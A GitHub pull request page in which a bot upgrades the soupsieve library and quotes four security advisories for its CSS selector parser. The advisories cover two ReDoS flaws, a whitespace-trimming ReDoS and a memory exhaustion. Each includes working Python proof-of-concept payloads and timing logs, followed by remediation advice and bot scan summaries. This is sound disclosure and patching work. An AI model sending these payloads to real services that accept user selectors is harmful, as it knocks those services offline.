Skip to content

⬆️ Updates soupsieve to v2.9 [SECURITY] - #3566

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-soupsieve-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-soupsieve-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 11, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
soupsieve ==2.3.2.post1==2.9 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser

CVE-2026-49477 / GHSA-836r-79rf-4m37

More information

Details

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

  1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
  2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
  3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics:

  • Input size: Only 300 bytes are needed to trigger a >3 second hang
  • Amplification: Each additional character approximately doubles the backtracking time
  • No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)
Proof of Concept
import time
import soupsieve as sv

PAYLOAD_LEN = 300

##### Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

##### Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

##### Expected output:

##### Well-formed selector (306 bytes): ~0.001s
##### Malformed selector (304 bytes): >3.0s (may need to be killed)

##### Slowdown: >3000x
#

##### NOTE: On some systems the malformed selector may hang indefinitely.
##### Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm
Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

  1. Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
  2. No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
  3. Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
  4. Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
Parameter Value
Input size 300 bytes
CPU time consumed >3 seconds (exponential with payload length)
Memory consumed Negligible (CPU-only attack)
Authentication required None
User interaction required None

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.


Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists

CVE-2026-49476 / GHSA-2wc2-fm75-p42x

More information

Details

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to soupsieve.compile() or Beautiful Soup's .select() / .select_one() can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.

To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.

A 500 KB selector string triggers allocation of approximately 244 MB of heap memory - a 488x— amplification ratio**.

Details

Affected code: soupsieve/css_parser.py, lines ~204, 925, 1106

The soupsieve CSS parser splits comma-separated selector lists and creates one CSSSelector object per list item. Each CSSSelector object contains parsed selector data structures including SelectorList, Selector, and associated tag/attribute/pseudo-class metadata.

When a selector string such as a,a,a,... (with 250,000 comma-separated items) is passed to sv.compile(), the parser:

  1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)
  2. Parses each segment into a full Selector object with all associated metadata (line ~925)
  3. Stores all parsed selectors in a SelectorList (line ~204)

Root cause: No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately 976 bytes of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like a expands into a complex object graph.

Attack surface: Any application that passes user-supplied CSS selectors to soupsieve.compile() or Beautiful Soup's .select() / .select_one().

Proof of Concept
import tracemalloc
import soupsieve as sv

tracemalloc.start()

##### Build a 500 KB selector string: "a,a,a,...,a" (250,000 items)
count = 250_000
selector = ",".join("a" for _ in range(count))
print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)")

##### Compile the selector — this allocates ~244 MB
compiled = sv.compile(selector)

current, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()

print(f"Compiled selector count: {len(compiled.selectors):,}")
print(f"Current memory: {current / 1024 / 1024:.1f} MB")
print(f"Peak memory: {peak / 1024 / 1024:.1f} MB")
print(f"Amplification ratio: {peak / len(selector):.0f}x")

##### Expected output:

##### Selector string size: 499,999 bytes (488 KB)
##### Compiled selector count: 250,000

##### Current memory: ~244 MB
##### Peak memory: ~244 MB

##### Amplification ratio: ~488x
Impact

Severity: High

An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:

  • OOM kills in containerised deployments (Kubernetes pods, Docker containers) with memory limits
  • Swap thrashing on bare-metal servers, degrading performance for all co-located processes
  • Process termination via Python's MemoryError exception if the system runs out of addressable memory
Parameter Value
Input size ~500 KB selector string
Memory allocated ~244 MB
Amplification ratio ~488×
Per-object overhead ~976 bytes per selector
Authentication required None
User interaction required None

Scalability of attack: The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.


Credit

Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.
Liyi Zhou: https://lzhou1110.github.io/
Ziyue Wang: https://zyy0530.github.io/
Strick: https://str1ckl4nd.github.io/
Maurice: https://maurice.busystar.org/
Chenchen Yu: https://7thparkk.github.io/

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Soup Sieve: Polynomial-time ReDoS (O(n²)) in the IDENTIFIER / VALUE selector sub-patterns

CVE-2026-86000 / GHSA-gjv8-xp57-g29c

More information

Details

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — src/soupsieve/css_parser.py
##### lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''

##### line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
  • classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
  • Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #​12 — published artifact)
  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_compile.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile_time(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel)
        status = "ok"
    except Exception as e:
        status = type(e).__name__
    return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n   (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
    dt, st = compile_time("[a=" + "a" * n)
    print(f"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]")

print("\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
    dt, st = compile_time("a" * n + "!")
    print(f"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)
soupsieve 2.9

Payload A: '[a=' + 'a'*n   (unterminated attribute value)
  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]
  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]
  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]
  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]

Payload B: 'a'*n + '!'   (identifier run + invalid trailing char)
  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]
  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]
  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]
  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)
[+] wall time = 18.28 s   [SelectorSyntaxError]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)
soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]
  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]
  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]
  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]
Impact — calibrated
  • Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
Remediation
  • Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
  • Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
  • Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex RE_WS_END (triggers on VALID selectors)

CVE-2026-85999 / GHSA-j934-xhv5-fg8f

More information

Details

Summary

Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/css_parser.py
##### line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset

##### selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern)                     # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.

Reproduction environment (discipline #​12 — published artifact)
  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def ct(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel); st = "ok"
    except Exception as e:
        st = type(e).__name__
    return time.perf_counter() - t0, st

print(f"soupsieve {sv.__version__}\n")

print("VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
    dt, st = ct("a" + " " * n + "b")
    print(f"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9

VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):
  n=2000   len=2002        112.3 ms  [ok]
  n=4000   len=4002        411.5 ms  [ok]
  n=8000   len=8002       1602.9 ms  [ok]
  n=16000  len=16002      6464.1 ms  [ok]

VALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):
  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]
  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]
  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]
  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]

[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)
[+] wall time = 10.23 s   [ok]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)
soupsieve 2.8.4

VALID selector 'a' + ' '*n + 'b':
  n=2000   len=2002        102.7 ms  [ok]
  n=4000   len=4002        404.3 ms  [ok]
  n=8000   len=8002       1618.2 ms  [ok]
  n=16000  len=16002      6457.9 ms  [ok]
[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]
Impact — calibrated
  • Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.
Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation
  • Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.
  • Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass *$ search.
  • Defense-in-depth: cap selector length before compiling.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

facelessuser/soupsieve (soupsieve)

v2.9

Compare Source

2.9

  • NEW: Drop Python 3.9 support.
  • NEW: Lazy compile selector patterns to improve initial import speed.
  • FIX: Correct :nth-child/:nth-of-type (and -last- variants) for An+B values whose sequence steps onto
    index 0 or onto the last child (e.g. :nth-child(2n-2), :nth-child(n-1), :nth-child(n+5)), which previously
    matched the wrong elements or nothing at all (@​gaoflow).
  • FIX: More efficient CSS ID matching (@​kaimandalic).
  • FIX: Fix inefficient trimming of comments and white space (@​kaimandalic).

v2.8.4

Compare Source

2.8.4

  • FIX: Fix another inefficient attribute pattern (@​mauriceng98).
  • FIX: Limit total number of selectors processed in a pattern to prevent massive selector requests (@​mauriceng98).

v2.8.3

Compare Source

2.8.3

  • FIX: Fix inefficient attribute pattern.

v2.8.2

Compare Source

2.8.2

  • FIX: Ensure custom selectors or namespace dictionaries reject non-string keys (@​mundanevision20).
  • FIX: Fix handling of :in-range and :out-of-range with end of year weeks (@​mundanevision20).
  • FIX: Fix a potential infinite loop in the pretty printing debug function (@​mundanevision20).

v2.8.1

Compare Source

2.8.1
  • FIX: Changes in tests to accommodate latest Python HTML parser changes.

v2.8

Compare Source

2.8

  • NEW: Drop support for Python 3.8.
  • NEW: Add support for Python 3.14.
  • NEW: Deploy with PyPI's "Trusted Publisher".

v2.7

Compare Source

2.7

  • NEW: Add :open pseudo selector.
  • NEW: Add :muted pseudo selector.
  • NEW: Recognize the following pseudo selectors: :autofill, :buffering, :fullscreen, :picture-in-picture,
    :popover-open, :seeking, :stalled, and :volume-locked. These selectors, while recognized, will not match any
    element as they require a live environment to check element states and browser states. This just prevents Soup Sieve
    from failing when any of these selectors are specified.
  • NEW: A number of existing pseudo-classes are no longer noted as experimental.
  • FIX: Typing fixes.

v2.6

Compare Source

2.6

  • NEW: Add official support for Python 3.13.
  • NEW: Add support for & as scoping root per the CSS Nesting Module, Level 1. When & is used outside the
    context of nesting, it is treated as the scoping root (equivalent to :scope).
  • FIX: Improve error message when an unrecognized pseudo-class is used.

v2.5

Compare Source

2.5

  • NEW: Update to support Python 3.12.
  • NEW: Drop support for Python 3.7.

v2.4.1

Compare Source

2.4.1

  • FIX: Attribute syntax for case insensitive flag optionally allows a space, it does not require one.

v2.4

Compare Source

2.4

  • NEW: Update to support changes related to :lang() in the official CSS spec. :lang("") should match unspecified
    languages, e.g. lang="", but not lang=und.
  • NEW: Only :is() and :where() should allow forgiving selector lists according to latest CSS (as far as Soup
    Sieve supports "forgiving" which is limited to empty selectors).
  • NEW: Formally drop Python 3.6.
  • NEW: Formally declare support for Python 3.11.

Configuration

📅 Schedule: (in timezone Europe/Moscow)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate

renovate Bot commented Jul 11, 2026

Copy link
Copy Markdown
Contributor Author

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@github-actions github-actions Bot added the docs label Jul 11, 2026
@socket-security

socket-security Bot commented Jul 11, 2026

Copy link
Copy Markdown

Dependency limit exceeded — report not shown.

This pull request scan exceeded the 10,000-dependency limit applied to this scan, so the results are incomplete and may be inaccurate. To avoid reporting false positives, Socket has not posted a report.

Upgrade your plan to raise the dependency limit and get complete reports, or view the partial scan in the dashboard.

Socket is always free for open source. If this is a non-commercial open source project, contact us to request a free Team account.

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from e944e2d to 5a37a50 Compare July 13, 2026 05:51

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 9 5 0
Secrets Audit 0 5 0 0
Kotlin Security Audit 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Shell Script Analysis 0 0 0 195
Kotlin Static Analysis 0 0 0 0
Python Source Analyzer 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from 5a37a50 to c949498 Compare July 27, 2026 02:39

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 12 6 0
Kotlin Security Audit 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Python Source Analyzer 0 0 0 0
Secrets Audit 0 5 0 0
Shell Script Analysis 0 0 0 195
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from c949498 to bd337be Compare August 3, 2026 04:56

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 7 6 1
Kotlin Security Audit 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Python Source Analyzer 0 0 0 0
Secrets Audit 0 5 0 0
Shell Script Analysis 0 0 0 195
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from bd337be to dc834c2 Compare August 10, 2026 00:43

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 13 7 0
Kotlin Security Audit 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Python Source Analyzer 0 0 0 0
Secrets Audit 0 5 0 0
Shell Script Analysis 0 0 0 195
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 5 times, most recently from 3a4fb3b to 6e65c08 Compare August 14, 2026 04:40

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 7 6 0
Python Source Analyzer 0 0 0 0
Kotlin Static Analysis 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Shell Script Analysis 0 0 0 195
Kotlin Security Audit 0 0 0 0
Secrets Audit 0 5 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from 6e65c08 to b567edf Compare August 17, 2026 01:01

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 6 6 0
Python Source Analyzer 0 0 0 0
Kotlin Static Analysis 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Shell Script Analysis 0 0 0 195
Kotlin Security Audit 0 0 0 0
Secrets Audit 0 5 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
